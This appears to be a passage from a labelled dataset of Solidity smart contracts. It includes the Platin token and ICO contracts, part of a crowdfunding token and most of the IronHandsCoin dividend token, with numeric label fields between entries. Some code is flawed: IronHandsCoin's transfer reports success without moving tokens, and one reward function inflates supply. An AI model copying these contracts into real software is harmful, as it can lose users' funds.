if(now <= closeTime) throw;
if(!isFundedMini) throw;
if( balances[owner] < value) throw;
balances[rewarder] += value;
uint256 halfValue = value / 2;
balances[owner] -= halfValue;
totalSupply += halfValue;
Transfer(owner, rewarder, value);
return true;
}
function modifyStartTime(uint256 _startTime) {
if(msg.sender != owner) throw;
startTime = _startTime;
}
function modifyCloseTime(uint256 _closeTime) {
if(msg.sender != owner) throw;
closeTime = _closeTime;
}
function withDrawEth(uint256 value) payable returns (bool success) {
if(now <= closeTime ) throw;
if(!isFundedMini) throw;
if(this.balance < value) throw;
if(msg.sender != owner) throw;
if(!msg.sender.send(value))
return false;
return true;
}
} | 0 | 1,251 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(
address _from,
uint256 _value,
bytes _data
)
external
pure
{
_from;
_value;
_data;
revert();
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address _contractAddr) external onlyOwner {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract Authorizable is Ownable {
mapping (address => bool) public authorized;
event Authorize(address indexed who);
event UnAuthorize(address indexed who);
modifier onlyAuthorized() {
require(msg.sender == owner || authorized[msg.sender], "Not Authorized.");
_;
}
function authorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(!authorized[_who], "Already authorized");
authorized[_who] = true;
emit Authorize(_who);
}
function unAuthorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(authorized[_who], "Address is not authorized");
authorized[_who] = false;
emit UnAuthorize(_who);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HoldersToken is StandardToken {
using SafeMath for uint256;
address[] public holders;
mapping (address => uint256) public holderNumber;
function holdersCount() public view returns (uint256) {
return holders.length;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_preserveHolders(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_preserveHolders(_from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
function _removeHolder(address _holder) internal {
uint256 _number = holderNumber[_holder];
if (_number == 0 || holders.length == 0 || _number > holders.length)
return;
uint256 _index = _number.sub(1);
uint256 _lastIndex = holders.length.sub(1);
address _lastHolder = holders[_lastIndex];
if (_index != _lastIndex) {
holders[_index] = _lastHolder;
holderNumber[_lastHolder] = _number;
}
holderNumber[_holder] = 0;
holders.length = _lastIndex;
}
function _addHolder(address _holder) internal {
if (holderNumber[_holder] == 0) {
holders.push(_holder);
holderNumber[_holder] = holders.length;
}
}
function _preserveHolders(address _from, address _to, uint256 _value) internal {
_addHolder(_to);
if (balanceOf(_from).sub(_value) == 0)
_removeHolder(_from);
}
}
contract PlatinTGE {
using SafeMath for uint256;
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant SALES_SUPPLY = 300000000 * (10 ** uint256(decimals));
uint256 public constant MINING_POOL_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_AND_EMPLOYEES_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant AIRDROPS_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant RESERVES_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant ADVISORS_POOL_SUPPLY = 70000000 * (10 ** uint256(decimals));
uint256 public constant ECOSYSTEM_POOL_SUPPLY = 30000000 * (10 ** uint256(decimals));
address public PRE_ICO_POOL;
address public LIQUID_POOL;
address public ICO;
address public MINING_POOL;
address public FOUNDERS_POOL;
address public EMPLOYEES_POOL;
address public AIRDROPS_POOL;
address public RESERVES_POOL;
address public ADVISORS_POOL;
address public ECOSYSTEM_POOL;
uint256 public constant PRE_ICO_POOL_AMOUNT = 20000000 * (10 ** uint256(decimals));
uint256 public constant LIQUID_POOL_AMOUNT = 100000000 * (10 ** uint256(decimals));
uint256 public constant ICO_AMOUNT = 180000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_POOL_AMOUNT = 190000000 * (10 ** uint256(decimals));
uint256 public constant EMPLOYEES_POOL_AMOUNT = 10000000 * (10 ** uint256(decimals));
address public UNSOLD_RESERVE;
uint256 public constant ICO_LOCKUP_PERIOD = 182 days;
uint256 public constant TOKEN_RATE = 1000;
uint256 public constant TOKEN_RATE_LOCKUP = 1200;
uint256 public constant MIN_PURCHASE_AMOUNT = 1 ether;
PlatinToken public token;
uint256 public tgeTime;
constructor(
uint256 _tgeTime,
PlatinToken _token,
address _preIcoPool,
address _liquidPool,
address _ico,
address _miningPool,
address _foundersPool,
address _employeesPool,
address _airdropsPool,
address _reservesPool,
address _advisorsPool,
address _ecosystemPool,
address _unsoldReserve
) public {
require(_tgeTime >= block.timestamp, "TGE time should be >= current time.");
require(_token != address(0), "Token address can't be zero.");
require(_preIcoPool != address(0), "PreICO Pool address can't be zero.");
require(_liquidPool != address(0), "Liquid Pool address can't be zero.");
require(_ico != address(0), "ICO address can't be zero.");
require(_miningPool != address(0), "Mining Pool address can't be zero.");
require(_foundersPool != address(0), "Founders Pool address can't be zero.");
require(_employeesPool != address(0), "Employees Pool address can't be zero.");
require(_airdropsPool != address(0), "Airdrops Pool address can't be zero.");
require(_reservesPool != address(0), "Reserves Pool address can't be zero.");
require(_advisorsPool != address(0), "Advisors Pool address can't be zero.");
require(_ecosystemPool != address(0), "Ecosystem Pool address can't be zero.");
require(_unsoldReserve != address(0), "Unsold reserve address can't be zero.");
tgeTime = _tgeTime;
token = _token;
PRE_ICO_POOL = _preIcoPool;
LIQUID_POOL = _liquidPool;
ICO = _ico;
MINING_POOL = _miningPool;
FOUNDERS_POOL = _foundersPool;
EMPLOYEES_POOL = _employeesPool;
AIRDROPS_POOL = _airdropsPool;
RESERVES_POOL = _reservesPool;
ADVISORS_POOL = _advisorsPool;
ECOSYSTEM_POOL = _ecosystemPool;
UNSOLD_RESERVE = _unsoldReserve;
}
function allocate() public {
require(block.timestamp >= tgeTime, "Should be called just after tge time.");
require(token.totalSupply() == 0, "Allocation is already done.");
token.allocate(PRE_ICO_POOL, PRE_ICO_POOL_AMOUNT);
token.allocate(LIQUID_POOL, LIQUID_POOL_AMOUNT);
token.allocate(ICO, ICO_AMOUNT);
token.allocate(MINING_POOL, MINING_POOL_SUPPLY);
token.allocate(FOUNDERS_POOL, FOUNDERS_POOL_AMOUNT);
token.allocate(EMPLOYEES_POOL, EMPLOYEES_POOL_AMOUNT);
token.allocate(AIRDROPS_POOL, AIRDROPS_POOL_SUPPLY);
token.allocate(RESERVES_POOL, RESERVES_POOL_SUPPLY);
token.allocate(ADVISORS_POOL, ADVISORS_POOL_SUPPLY);
token.allocate(ECOSYSTEM_POOL, ECOSYSTEM_POOL_SUPPLY);
require(token.totalSupply() == TOTAL_SUPPLY, "Total supply check error.");
}
}
contract PlatinToken is HoldersToken, NoOwner, Authorizable, Pausable {
using SafeMath for uint256;
string public constant name = "Platin Token";
string public constant symbol = "PTNX";
uint8 public constant decimals = 18;
struct Lockup {
uint256 release;
uint256 amount;
}
mapping (address => Lockup[]) public lockups;
mapping (address => mapping (address => Lockup[])) public refundable;
mapping (address => mapping (address => mapping (uint256 => uint256))) public indexes;
PlatinTGE public tge;
event Allocate(address indexed to, uint256 amount);
event SetLockups(address indexed to, uint256 amount, uint256 fromIdx, uint256 toIdx);
event Refund(address indexed from, address indexed to, uint256 amount);
modifier spotTransfer(address _from, uint256 _value) {
require(_value <= balanceSpot(_from), "Attempt to transfer more than balance spot.");
_;
}
modifier onlyTGE() {
require(msg.sender == address(tge), "Only TGE method.");
_;
}
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
authorize(_tge);
}
function allocate(address _to, uint256 _amount) external onlyTGE {
require(_to != address(0), "Allocate To address can't be zero");
require(_amount > 0, "Allocate amount should be > 0.");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
_addHolder(_to);
require(totalSupply_ <= tge.TOTAL_SUPPLY(), "Can't allocate more than TOTAL SUPPLY.");
emit Allocate(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function transfer(address _to, uint256 _value) public whenNotPaused spotTransfer(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused spotTransfer(_from, _value) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferWithLockup(
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transfer(_to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function transferFromWithLockup(
address _from,
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transferFrom(_from, _to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function refundLockedUp(
address _from
)
public onlyAuthorized returns (uint256)
{
address _sender = msg.sender;
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_from][_sender].length;
if (_refundableLength > 0) {
uint256 _lockupIdx;
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_from][_sender][i].release > block.timestamp) {
_balanceRefundable = _balanceRefundable.add(refundable[_from][_sender][i].amount);
refundable[_from][_sender][i].release = 0;
refundable[_from][_sender][i].amount = 0;
_lockupIdx = indexes[_from][_sender][i];
lockups[_from][_lockupIdx].release = 0;
lockups[_from][_lockupIdx].amount = 0;
}
}
if (_balanceRefundable > 0) {
_preserveHolders(_from, _sender, _balanceRefundable);
balances[_from] = balances[_from].sub(_balanceRefundable);
balances[_sender] = balances[_sender].add(_balanceRefundable);
emit Refund(_from, _sender, _balanceRefundable);
emit Transfer(_from, _sender, _balanceRefundable);
}
}
return _balanceRefundable;
}
function lockupsCount(address _who) public view returns (uint256) {
return lockups[_who].length;
}
function hasLockups(address _who) public view returns (bool) {
return lockups[_who].length > 0;
}
function balanceLockedUp(address _who) public view returns (uint256) {
uint256 _balanceLokedUp = 0;
uint256 _lockupsLength = lockups[_who].length;
for (uint256 i = 0; i < _lockupsLength; i++) {
if (lockups[_who][i].release > block.timestamp)
_balanceLokedUp = _balanceLokedUp.add(lockups[_who][i].amount);
}
return _balanceLokedUp;
}
function balanceRefundable(address _who, address _sender) public view returns (uint256) {
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_who][_sender].length;
if (_refundableLength > 0) {
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_who][_sender][i].release > block.timestamp)
_balanceRefundable = _balanceRefundable.add(refundable[_who][_sender][i].amount);
}
}
return _balanceRefundable;
}
function balanceSpot(address _who) public view returns (uint256) {
uint256 _balanceSpot = balanceOf(_who);
_balanceSpot = _balanceSpot.sub(balanceLockedUp(_who));
return _balanceSpot;
}
function _lockup(
address _who,
uint256 _amount,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable)
internal
{
require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal.");
require(_lockupReleases.length.add(lockups[_who].length) <= 1000, "Can't be more than 1000 lockups per address.");
if (_lockupReleases.length > 0) {
uint256 _balanceLokedUp = 0;
address _sender = msg.sender;
uint256 _fromIdx = lockups[_who].length;
uint256 _toIdx = _fromIdx + _lockupReleases.length - 1;
uint256 _lockupIdx;
uint256 _refundIdx;
for (uint256 i = 0; i < _lockupReleases.length; i++) {
if (_lockupReleases[i] > block.timestamp) {
lockups[_who].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_balanceLokedUp = _balanceLokedUp.add(_lockupAmounts[i]);
if (_refundable) {
refundable[_who][_sender].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_lockupIdx = lockups[_who].length - 1;
_refundIdx = refundable[_who][_sender].length - 1;
indexes[_who][_sender][_refundIdx] = _lockupIdx;
}
}
}
require(_balanceLokedUp <= _amount, "Can't lockup more than transferred amount.");
emit SetLockups(_who, _amount, _fromIdx, _toIdx);
}
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract WhitelistedCrowdsale is Whitelist, Crowdsale {
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PlatinICO is FinalizableCrowdsale, WhitelistedCrowdsale, Pausable {
using SafeMath for uint256;
bool lockup;
uint256 public sold;
PlatinTGE public tge;
constructor(
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{}
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
rate = tge.TOKEN_RATE();
}
function buyLockupTokens(address _beneficiary) external payable {
lockup = true;
if (_beneficiary == address(0x0))
buyTokens(msg.sender);
else
buyTokens(_beneficiary);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
if (lockup) {
uint256[] memory _lockupReleases = new uint256[](1);
uint256[] memory _lockupAmounts = new uint256[](1);
_lockupReleases[0] = block.timestamp + tge.ICO_LOCKUP_PERIOD();
_lockupAmounts[0] = _tokenAmount;
PlatinToken(token).transferWithLockup(
_beneficiary,
_tokenAmount,
_lockupReleases,
_lockupAmounts,
false);
lockup = false;
} else {
PlatinToken(token).transfer(
_beneficiary,
_tokenAmount);
}
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(sold.add(_tokenAmount) <= tge.ICO_AMOUNT(), "Can't be sold more than ICO amount.");
sold = sold.add(_tokenAmount);
super._processPurchase(_beneficiary, _tokenAmount);
}
function finalization() internal {
uint256 _unsold = token.balanceOf(this);
if (_unsold > 0) {
PlatinToken(token).transfer(
tge.UNSOLD_RESERVE(),
_unsold);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
whenNotPaused
{
require(_weiAmount >= tge.MIN_PURCHASE_AMOUNT(), "Insufficient funds to make the purchase.");
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 _rate = rate;
if (lockup)
_rate = tge.TOKEN_RATE_LOCKUP();
return _weiAmount.mul(_rate);
}
}
contract PlatinICORegular {
PlatinICO public ico;
constructor(PlatinICO _ico) public {
require(_ico != address(0), "ICO address can't be zero.");
ico = _ico;
}
function () external payable {
ico.buyTokens.value(msg.value)(msg.sender);
}
} | 0 | 365 |
pragma solidity ^0.4.20;
contract IronHandsCoin {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "IronHandsCoin";
string public symbol = "IHC";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 3;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 50e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 3 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
function IronHandsCoin()
public
{
administrators[0x976b7B7E25e70C569915738d58450092bFAD5AF7] = true;
ambassadors_[0x976b7B7E25e70C569915738d58450092bFAD5AF7] = true;
ambassadors_[0xCd39c70f9DF2A0D216c3A52C5A475914485a0625] = true;
ambassadors_[0x739b28163DddAeA561151A4342470eb0fE7d2cE6] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
